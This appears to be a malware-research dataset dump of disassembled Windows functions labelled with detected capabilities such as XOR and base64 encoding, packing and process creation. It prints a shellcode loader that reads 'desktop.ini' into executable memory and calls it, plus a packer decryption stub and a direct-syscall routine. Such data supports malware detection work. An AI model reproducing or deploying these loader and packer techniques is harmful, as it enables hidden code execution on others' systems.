joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14a4690
Capabilities:
Encode data using base64

Disassembly:
neg dword [esp]
mov dword [edi + 4], ecx
movzx edx, byte [esi - 5]
mov ecx, 0xe9beb303
mov eax, ecx
jnp 0xfa62c3
mul al
sbb esi, 0
movzx eax, byte [esi]
xor al, bl
or cl, cl
rol al, 1
movzx edx, cx
mov dword [esp + edx - 0xffa4], 0xc8ae08bd
sar cx, cl
xor al, cl
rol al, 1
jmp 0x14949d0
xor edx, ebx
xor eax, ecx
dec al
shl cl, 1
not edx
cbw
imul cx, cx
ror edx, 3
xchg ecx, eax
lea edx, [eax + edx + 0x347ab98]
sal cl, 1
xor edx, 0xcd1cd79b
xor ebx, edx
push ecx
add ebp, edx
push eax
jmp 0xec9fd1
jmp 0x14cc4db
btr eax, 0xbc
call fcn.00edd60f
ror dx, 1
and ecx, dword [esp + ecx - 0x500100fe]
adc ecx, dword [esp + ecx - 0x100000fe]
xor bx, dx
mov word [esi], dx
movzx edx, cx
xor word [esp + edx*8 - 0x53fe0], cx
mov dword [esp + edx*4 - 0x29ff0], edi
ret
sbb esi, 4
pop ecx
sub ecx, eax
adc eax, eax
xor dl, bl
not dl
cbw
push eax
cwde
rol dl, 1
add word [esp + eax*2 - 0xd], 0x6a19
adc dl, 0xb
or dword [esp + eax*2 - 0xe], ecx
rol ax, 0x85
xor dl, 0x9f
div byte [esp + ecx - 0x55f17df1]
add dl, 0x2b
mov dword [esp + eax - 0x901], ecx
ror cx, 0x45
neg dl
and ecx, 0x71003dae
xor bl, dl
rol eax, cl
lea edx, [esp + edx + 4]
not ecx
cmovae cx, ax
mov ecx, dword [edx + eax - 0x2404000]
sbb eax, eax
jae 0xe94a23
inc byte [esp + edx*2 - 0x1ff4a]
add al, cl
xor bl, al
shl cx, 0xe6
lea edi, [edi + edx*2 - 0x1ff52]
mov byte [esp + edx*8 - 0x7fd39], dh
mov word [edx + edi - 0xffa8], ax
lea eax, [ecx*2 - 0x36f18f5d]
pop ecx
pop eax
js fcn.00e671b6
mov ecx, 0x95340297
mov edx, ecx
sal edx, cl
mov eax, dword [esi + edx - 0x4b800000]
dec edx
jl 0xf89379
mov edx, dword [esi + edx - 0x4b7ffffb]
sbb cl, cl
or cx, 0xcda3
not eax
bt cx, cx
rol ecx, 0x72
dec cl
not edx
rol cl, 0x62
or eax, edx
imul cx, cx
mov dword [esi + ecx*2 - 0x7ffc9bee], eax
lea eax, [ecx + ecx*8 - 0x38dd42f5]
lea edx, [eax + ecx*2 + 0x3124eb28]
xadd edx, eax
movzx edx, word [ebp + ecx*2 - 0x7ffc9bf2]
push ecx
shl al, 0x25
xor dx, bx
sar eax, 0x67
not eax
bts eax, 0xbe
not dx
lea ecx, [ecx*2 + 0x388d73a]
ror dx, 1
jmp 0x14bd621
mov edx, dword [edx + edi - 0x850]
add ecx, edx
sal byte [esp + 3], 0x83
jp 0xd667bb
setae dl
xor ebx, ecx
mul ax
sal dword [esp + ecx - 0x16620447], cl
not dl
mov dword [esp + ecx*4 - 0x5988112c], 0x8214281d
call fcn.00ed6b5b
mov edx, 0x24860320
mov eax, edx
mov ecx, 0xfbbc7836
lea esi, [edx + esi - 0x24860324]
ror ecx, cl
bswap ecx
mov edx, dword [edx + esi - 0x24860320]
bswap eax
btr ecx, ecx
jb 0xeced7a
cbw
cwde
neg dx
not word [esp + 1]
ror dx, 1
imul ax, ax
and dword [esp], ecx
shl cl, 0x87
xor bx, dx
mov word [esi + 2], dx
sub esi, 0xfffffffe
pop eax
mov eax, dword [ebp + eax - 0x3013226]
sal ecx, 0xbf
lea ebp, [ebp + ecx + 6]
movzx edx, cx
shr ecx, 0x81
xor eax, ebx
or cl, cl
dec edx
xor eax, edx
lea eax, [eax + ecx - 0x312f3c9e]
xor eax, 0x53b93a12
sar ecx, 0xc9
adc eax, edx
xadd dl, dh
neg eax
call fcn.00e8d49e
movsx edx, cx
xor ebx, eax
jmp 0xf81ab9
add ebp, eax
mov ecx, dword [edx + edi - 0x854]
jmp 0x149761d
Function at 0x14ad0ea
Capabilities:
Manually build aes constants

Disassembly:
xor ecx, 0x412e2e8d
inc bp
xor esp, esp
dec edx
mov dword [esp - 0x6c0dfff8], 0xeb952c16
inc ecx
push edx
dec edx
mov dword [esp - 0x6c0dfff0], edi
inc eax
xor dh, 0xc
inc ecx
push ecx
inc dx
dec dword [esp - 0x6c0dfffb]
inc edx
xor dword [esp - 0x3606ffe8], ecx
dec edx
mov edi, dword [esp - 0x3606ffe8]
dec esi
mov dword [esp - 0x3606fff0], edx
inc eax
rol dh, 0xa3
dec esi
mov dword [esp - 0x6c0dfff0], edi
dec eax
arpl cx, cx
jb 0xfab993
inc ecx
ror dl, 0x63
dec eax
add ebx, ecx
inc esi
or byte [esp - 0x3606ffe9], cl
ror dl, 0x64
dec edi
mov eax, dword [eax - 0x6c0e0000]
inc ecx
pop esp
pop ebp
inc ecx
pop esp
inc ecx
pop ecx
jns fcn.00fa7e93

Function at 0x14bde8e
Capabilities:
Encode data using xor

Disassembly:
lea eax, [edx*4 + 0x31b92a8c]
adc ebp, ecx
or eax, eax
xor edx, ebp
jmp edx
sal dx, 0x86
jns 0x1494504
bswap eax
jns 0xfb91b0
mov dword [esp], edx
mov dword [esp], ecx
rol eax, 3
jmp 0x14d0a60
xor ebx, eax
push edx
add ebp, eax
jmp 0x148862a

Function at 0x14cc4a7
Capabilities:
Encode data using base64

Disassembly:
movzx eax, byte [ebp]
mov ebp, 0x38aa8c1c
lea ecx, [ebp*8 - 0x1270f64f]
xor al, bl
not ecx
ror ecx, 0x8a
mov dword [esp + ebp - 0x38aa8c1c], ebp
not al
ror ecx, cl
lea edi, [ebp + ebp*2 + 0x7b9358b1]
inc ebp
rol al, 1
sar ebp, cl
call fcn.00fbe472

Function at 0x14cd576
Capabilities:
Manually build aes constants

Disassembly:
not cl
push eax
neg dword [esp + eax - 0x19ab]
inc eax
rol cl, 1
pop edx
inc dword [esp + eax*2 - 0x3354]
add cl, 0xb
xor cl, 0x9f
mov dword [esp + eax - 0x19ac], eax
cbw
add cl, 0x2b
rol eax, 0x2b
mov word [esp + eax - 0x7fd6000], 0x7230
lea edx, [edx*8 + 0x2810a5a1]
neg cl
xor bl, cl
rol dword [esp + eax*2 - 0xffabffc], 0x87
btc edx, 0x27
lea ecx, [esp + ecx + 8]
jae 0xfab5a1

Function at 0x14dce28
Capabilities:
Manually build aes constants

Disassembly:
dec esi
lea edi, [0x61990930]
inc dx
mov dword [edx + eax - 0xf1b9], ebp
call fcn.00e6f24f

Function at 0x14df7c8
Capabilities:
Manually build aes constants

Disassembly:
dec esp
mov dword [esp + edx - 0x39a2], ecx
dec eax
mov edi, dword [esp + edx - 0x399a]
pop eax
dec ebp
arpl sp, sp
dec ecx
add ebx, esp
shr ax, 0xcf
inc bp
xor edx, edi
inc ecx
pop ebp
jge fcn.00fa7e93
Function at 0x14e0428
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x91
sar dword [esp + ecx - 0x4d0eb5bc], 0xe4
call fcn.00ef586a

Function at 0x14e377e
Capabilities:
Manually build aes constants

Disassembly:
rol cl, 1
ror eax, 0x9a
sar edx, 0x5d
adc cl, 0xae
mov dword [esp], edx
not cl
mov dword [esp], eax
dec dl
ror cl, 1
jmp 0xead12e

Function at 0x14e4174
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
push edx
mov dword [edi + 4], eax
pop ecx
call fcn.00e9d373

Function at 0x14e5a98
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
ror edx, 1
not edx
call fcn.0149b259
dec esp
sbb dh, byte [eax - 0x27]
rcl dword [esi - 0x390f0b6c], 0xc1
mov esi, 0xc6f0dcd6
shl edx, 0xac
fdiv st(0)
mov cl, 0xb0
mov esi, 0xf8cce09e
shl dword [edi + 0x7aa94417], 0x4f
dec esi
mov ecx, dword [eax + 0x28]
sbb al, 0x39
les edx, [edi + 0x43]
cmpsb byte [esi], byte es:[edi]
push esi
int1
invalid
inc ecx
xor edx, dword [esp + 4]
mul word [esp + 5]
pop eax
rol ecx, 3
jmp 0x148c87a
sub cx, ax
lea ecx, [ecx + ecx*2 - 0x31db8f7f]
movzx edx, cx
mov edx, dword [esi + eax*8 - 0x4c0]
shr al, cl
neg al
xor edx, ebx
sub cx, ax
jns 0xe7b2bb
sal dword [esp + edx - 0x604b74d3], 0x50
not byte [esp + edx - 0x604b74d0]
ror ecx, 2
add word [esp + edx - 0x604b74cf], 0x7a91
xadd dword [esp + edx - 0x604b74d2], edx
jae 0xeabeba
shr dl, 0x24
xor ebx, ecx
mov dword [edi + 2], ecx
xadd al, ah
call fcn.00f80e10
lea esi, [eax + esi - 0x529b6792]
movsx edx, al
mov ecx, eax
mov eax, dword [ecx + esi - 0x529b678e]
bts dx, dx
xor eax, ebx
add dx, dx
bswap eax
shr ecx, 0xfc
inc eax
inc dl
call fcn.00fb965c
shr cl, 0xa5
mov cl, byte [edi + eax*2 - 0x15774]
shl al, 0xa1
mov dword [esp + eax - 0xab78], eax
mov byte [edx + eax*8 - 0x55bc0], cl
push eax
add word [esp + eax - 0xab74], 0x799c
xor eax, 0x9d02e497
mov ecx, dword [esi - 4]
xadd word [esp + 1], ax
mov edx, eax
xor ecx, ebx
or dword [esp], edx
mul edx
jae 0xf9cdb7
xor ecx, 0x851ea42f
inc ecx
jmp 0xf9e2b6
Function at 0x14e6745
Capabilities:
Manually build aes constants

Disassembly:
mov eax, 0xbd1f2429
xor dl, bl
not dl
rol dl, 1
not dl
lea eax, [eax + eax*2 + 0x25241389]
lea ecx, [eax*4 - 0x2ed6dedd]
add eax, eax
dec dl
xchg ah, cl
ror dl, 1
inc dl
not dl
btc ecx, 0xb1
sbb dl, 0xba
xor bl, dl
mov dword [esp + ecx - 0x432d2100], eax
and ecx, dword [esp + ecx - 0x432d20ff]
xchg dword [esp + ecx - 0x2900fc], ecx
lea edx, [esp + edx + 8]
jne 0xec7e64
in eax, dx
sbb byte [edx - 0x33], al
xor ch, byte [edx]
push cs
xor dword [ebp + 0xeca2225], ebx
xor dword [ebp + 0xefa0d65], ebx
xor dword [ebp + 0xeba9bd2], ebx
xor dword [ebp + 0xe52c2f5], ebx
xor dword [ebp + 0xe6a33fb], ebx
xor dword [ebp + 0xe8add02], ebx
xor dword [ebp + 0x7dd57543], ebx
jmp 0x14e6838
cmp ch, al
mov cl, 0x52
dec esi
sub ah, byte [esi - 0x253ede5]
inc byte [eax]
add byte [eax], al
inc ecx
add dword [eax - 2], ebp
adc edx, edx
sahf
xor dh, 0x56
cmp al, 0xa9
bound esp, qword [ebp + eax + 0x71882c06]
fadd qword [edi*8 - 0x3713f741]
rol byte [esi + 0x19398e79], cl
test eax, 0x605a462
sub al, 0x88
jno 0x14e681d
add al, 0xfd
mov edi, 0xd2c8ec08
xchg byte [ecx - 0x72], bh
cmp dword [ecx], ebx
enter 0xffffffffffff86d2, 0x79
invalid
xor bh, ch
das
cmpsb byte [esi], byte es:[edi]
mov eax, 0xf98ea48e
pop ds
mov byte [eax - 0x24], ch
cmovbe edx, edx
call dword [ecx + 0x357fdb15]
inc esp
add al, 0x30
cld
cmp al, 0x31
add dword [eax + ecx*8], esi
cmp ch, dh
jb 0x14e6892
jb 0x14e6892
loopne 0x14e683f
test dword [esi - 0x69], esi
int 0xa3
loopne 0x14e6846
jg 0x14e6884
jbe 0x14e6870
and ah, bh
out dx, eax
sal esp, cl
and al, 0xc8
cmp esp, ebx
shl ebx, cl
jb 0x14e689e
jecxz 0x14e68fd
adc dh, byte [ebx]
test eax, 0x5f1e7c45
xor ebp, dword [ecx + 0x5f1e7c45]
push ebp
insd dword es:[edi], dx
lodsb al, byte [esi]
out dx, al
sub al, 0x83
or cl, byte [edi + esi*4 - 0x7fac44f1]
cdq
ret
sbb byte [ecx + 0x8a506c3], 0xd0
cmpsb byte [esi], byte es:[edi]
sbb eax, 0x47fb1afb
push 0xffffffffffffffe9
push 0xb345b65c
mov ah, 0x55
imul ebp, dword [ebx + ebp*4], 0xca083e24
insb byte es:[edi], dx
out dx, al
jae 0x14e68ff
lodsb al, byte [esi]
xchg esp, eax
lodsb al, byte [esi]
ret 0xfc5e
mov dl, 0xd4
pushfd
inc edi
xchg dword [edx + 0x6a77fe40], ecx
mov esi, 0x7072dfc0
mov al, 0x9b
push esp
pop esi
fstp qword [edi + 0x345bb067]
push edi
arpl word [edi + 0x2a5238f0], di
push ss
or esi, dword [ecx - 0x1e9809b7]
ret
invalid
loop 0x14e6889
adc eax, 0x78621cb0
xor word [ecx + ebp*4 + 0x153b11f], cx
pop ds
sub eax, dword [ecx]
jo 0x14e698d
sub eax, 0x89778eb
sti
mov dh, 0x2d
or dh, byte [esi]
and cl, bh
jb 0x14e68d5
fst qword [esi + 0x3c]
add esi, ebx
push dword [edi - 0x64]
enter 0x59fd, 0xffffffffffffff8d
pop edi
invalid
sbb ebx, dword [ecx + 0x73c35356]
xchg ebx, eax
add ebp, dword [esp + ebp*4 - 0x5f]
mov al, 0xa8
dec ecx
mov al, byte [0xfeda5a00]
sub ch, 5
pop esp
test byte [edi - 0x79], al
sub al, 0x9d
stosd dword es:[edi], eax
pop esi
push 0x44
mov ah, 0x55
adc al, 0x15
hlt
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x414331
Capabilities:
Encode data using xor

Disassembly:
rcr byte [edx + 0x4f], 1
jg 0x4142ed
dec esi
fiadd word [ebx - 0x1b4ed85b]
dec esi
leave
and bl, ch
mov cs, word [esi - 0x7dc78555]
adc ebx, dword [esi + 0x10]
or al, byte [ecx - 0x63]
rcr byte es:[edi + 0x13], 0x51
xor dword [eax + 0x66], edx
cmp dword [edx + 0x2dd47090], ebp
pop esi
out dx, eax
xor dword [eax - 0x22], ebx
mov al, byte [0x58df1351]
mov esi, edx
or dword [eax], esp
jecxz 0x41428a
invalid
jne 0x41430b
insb byte es:[edi], dx
add al, 0x7a
and al, 0x7c
test byte [ebx + 0x4a5ce1df], 0x63
ret 0x5ad7
dec eax
imul byte [edi + 0x2a333bdb]
inc edx
inc edx
cmpsb byte [esi], byte es:[edi]
rol byte [ecx + ebp*2], 0xe9
mov esi, 0x484f5e6d
dec edx
push ds
shr byte [ecx - 0x5c], 1
jmp 0x41427e
jmp 0x4f9fb0b0
sub al, 0xde
invalid
push esp
dec edx
movsb byte es:[edi], byte [esi]
mov eax, 0xc1c7ce24
dec esp
sub dword [esi], 0xb40490d1
xor ebx, 0xffffffb1
jb 0x414372
sbb al, 0xa5
dec esp
movlps qword [ebx + esi*4 + 0x38a4549b], xmm7
mov ah, 0xd9
nop
in al, 0x32
jb 0x4143a3
invalid
or dword [eax + 0x2968b38e], eax
fadd dword [esi - 0x19]
into
or dword [edx - 0x422ea490], esi
mov al, byte [0xf866248c]
pop ss
jl 0x414300
mov bl, 0x54
lea ecx, [edx]
movsb byte es:[edi], byte [esi]
jo 0x4142e0
mov ebp, dword [ebp + 0x60]
popfd
mov esi, 0x2fc1dc56
pop esi
pop es
xor al, 0x80
mov dword [ebx - 0x5d9d917a], eax
imul esp, dword [eax], 0xbf63c084
or eax, 0x3c7695c2
in eax, 0xe1
lahf
arpl si, bx
add byte [esi - 0x4f4f5757], bh
aad 0x58
add dh, al
out dx, eax
iretd
int 0x3e
mov word [edi + ebx*8 + 0x4a7ed203], cs
fild word [ebx]
sar byte [esi + 0x4a], cl
adc dword [ecx], eax
loop 0x414400
leave
cmpsd dword [esi], dword es:[edi]
mov cl, 0x8c
push edi
jo 0x414347
pop esi
mov word [edx - 0x69], fs
pop ecx
aad 0xb9
shr edi, 1
xchg ecx, eax
insb byte es:[edi], dx
xchg ebx, eax
mov dl, byte [ecx - 0x34]
ret 0xb1bc
xor bl, byte [ebp + ecx + 0x79fc7949]
push es
inc ebp
out dx, eax
cmpsb byte [esi], byte es:[edi]
wait
dec esi
int 0x5a
dec ebx
scasd eax, dword es:[edi]
ja 0x414420
add eax, 0xd26ee9df
js 0x4143a7
invalid
add esp, dword [edi]
test dword [edx + 0x5b907194], edx
xlatb
or edi, ebx
add bh, byte [ecx + ebp*4]
sub dword [ebx - 0x22180814], 0xffffffb5
inc ebx
invalid

Function at 0x42d90f
Capabilities:
Encode data using xor

Disassembly:
invalid
jb 0x42d8a3
mov ecx, 0x82102520
mov esp, 0xac34784f
stosb byte es:[edi], al
out dx, eax
mov edi, 0x895d9df8
loope 0x42d956
fstp xword [esi + 0x3a58fd40]
inc ebp
adc cl, bh
stc
pushfd
inc esp
pushfd
xor byte [ecx], ch
sub esp, edx
push esp
push cs
adc al, al
jge 0x42d92f
sbb dword [ebp + edi*4 - 0x5fd4a256], ebx
in al, 0xbd
shl dword [ecx], 0x55
fistp qword [ecx]
sbb cl, byte [eax + esi*4 + 0x27f308d6]
dec eax
adc bh, byte [edi + 0x602cdbf8]
sub al, 0x60
jmp 0x42d966
mov ch, 0x88
iretd
Function at 0x43bffb
Capabilities:
Encode data using xor

Disassembly:
cmp ah, dh
or edi, esi
mov bl, 0x79
test byte [eax + 0x3a], bl
mov bh, 0x46
out dx, eax
ret
jecxz 0x43c04d
pop esp
les ebp, [edx + ebx*2 - 0x2e]
stc
push ebp
mov word [eax - 0x54900228], ds
std
outsd dx, dword [esi]
stosd dword es:[edi], eax
ja 0x43bf8d
invalid
push edi
cmp al, 0x7a
and al, 0x54
jp 0x43c073
push esp
js 0x43c0a2
cld
sbb dh, byte [edi - 0x466fc004]
mov esp, 0x33f841f
fcom qword [esi + edx*2 + 0x72507472]
inc edx
or ah, 0xc8
pushal
xor byte [esi + 0x63ff4378], bh
das
or eax, 0x7790f8db
nop
clc
nop
ja 0x43c007
jns 0x43c04b
push ebx
push ds
fisub dword [ecx + 0x3bf13d1e]
je 0x43c081
cmp al, bl
salc
psllq mm2, qword [eax - 2]
add bl, byte ds:[edx + 0x18c87b12]
lds edi, [esi]
iretd
sbb eax, 0x1a51a0d4
xchg edx, eax
and dword [edi], edx
xor dl, bl
sub dword [esi + 0x32], edx
sbb dh, 0x78
jg 0x43c106
push edx
invalid
and eax, esp
mov ah, 0x53
jae 0x43c189
cmp al, 0x99
jne 0x43c0b3
push cs
add ch, byte [ebx + 0x42]
xchg ebx, eax
sub byte [edx], 0x53
sti
sahf
cwde
in al, dx
pop ebx
pop edi
fimul word fs:[eax - 0x6285d99a]
inc edi
xchg edi, eax
psrlw mm3, mm6
invalid
cmc
or al, 0x7a
xchg edi, eax
and al, 0xce
cmp ecx, dword [esi]
sbb byte [esp + edi*8 - 0x27af687], dh
das
cmc
mov edi, 0x1868a199
push 0xffffffffffffff90
sbb eax, 0x57fce514
dec eax
dec edi
insb byte es:[edi], dx
xor dword [ebx + 0xaceb986], ebp
pop ebp
sbb al, 0xb3
movsb byte es:[edi], byte [esi]
loope 0x43c1b0
out dx, eax
cwde
mov ebp, 0xbe31afa8
test byte [esi + 0x23], ch
out dx, al
les edi, [esi + 0x3b]
and eax, 0xeebcba5f
clc
movsd dword es:[edi], dword [esi]
pop ebx
mov byte [0xc5ed9e2e], al
loope 0x43c1fd
mov ebp, 0xbe080b4e
add ch, ah
clc
mov ebp, 0xe8177943
mov byte [ebx - 0x69], bh
mov esp, 0x5460dc39
outsb dx, byte [esi]
xchg esp, eax
ret 0xbea5
stosd dword es:[edi], eax
xchg esi, eax
aas
sbb ch, dl
sbb eax, 0xcefeaf7e
mov esi, 0x43f6c6c6
ret 0x1ca2

Function at 0x466ba9
Capabilities:
Encode data using xor

Disassembly:
retf
jns 0x466b41
and dword [edx - 0x56], 0xa567b412
push 0x2b
invalid
xor eax, 0x20c47b06
scasd eax, dword es:[edi]
bound esi, qword [esi - 0x24]
inc esp
push ebx
aam 0x2d
sub eax, 0x2e7f9944
sub eax, 0x2e7f9944
xor eax, 0x5b26450
add ecx, edx
inc eax
jb int.00466ba9
out 0x16, al
dec esi
loopne 0x466be5
and al, 7
rol byte [eax - 0x56252e97], cl
mov byte [0x5ac306c0], al
cwde
invalid
movsd dword es:[edi], dword [esi]
jb 0x466b71
jne 0x466bdb
mov dh, 0x67
inc edx
inc edx
out 0x11, al
daa
stosd dword es:[edi], eax
wait
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
xchg edx, eax
or dword [eax - 0x5826cfff], ebx
jo 0x466b9d
pop ss
and ah, bh
movsb byte es:[edi], byte [esi]
push ecx
cmp byte [esi + edi*4 + 0x335beb26], dl
xchg dword [edx], esi
push esp
cmp esi, dword [eax + eax]
lds esp, [edi]
pop esi
stosb byte es:[edi], al
push ebp
adc dl, byte [ebx + 0x1473c30b]
mov eax, 0x32a7323f
and bl, dh
movsd dword es:[edi], dword [esi]
xor eax, 0x15c53b29
loope 0x466bd6
adc edi, dword [esi - 0x59]
sub byte [ecx + esi*4 - 0x3f60e08b], 0xb2
outsb dx, byte [esi]
mov al, byte [0x87d4afe3]
mov esp, 0x5041a246
xchg ebx, eax
das
iretd
Function at 0x629cf5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6323c0
cmp edx, dword [eax]
je 0x629d17
add eax, 8
inc ecx
cmp eax, 0x632450
jl 0x629d08
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6323c0]
jne 0x629e45
mov eax, dword [0x63ad68]
cmp eax, 1
je 0x629e1f
test eax, eax
jne 0x629d48
cmp dword [0x6322e8], 1
je 0x629e1f
cmp edx, 0xfc
je 0x629e45
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x629d7f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0062a6e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0062ab70
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x629dc2
lea eax, [ebp - 0x1a4]
push eax
call fcn.0062ab70
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62ea4c
push edi
call fcn.0062ca40
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0062a6e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0062a6f0
lea eax, [ebp - 0xa0]
push 0x62ea2c
push eax
call fcn.0062a6f0
push dword [esi + 0x6323c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0062a6f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062c9b4
add esp, 0x2c
pop edi
jmp 0x629e45
lea eax, [ebp + 8]
lea esi, [esi + 0x6323c4]
push 0
push eax
push dword [esi]
call fcn.0062ab70
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x92a370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x92a38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x953074
push ecx
mov edi, eax
call fcn.0093e198
mov esi, eax
add esp, 8
test esi, esi
jne 0x92a3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0093e02e
push esi
call fcn.0093dfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x92d850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x92d8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x958720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x92d8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.0093e1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x92d8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x958720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x92d92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.0093f082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x92d957
mov word [eax], si
add eax, 2
push eax
call fcn.0093f030
add esp, 4
jmp 0x92d959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x92d8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x92d8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x92dff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret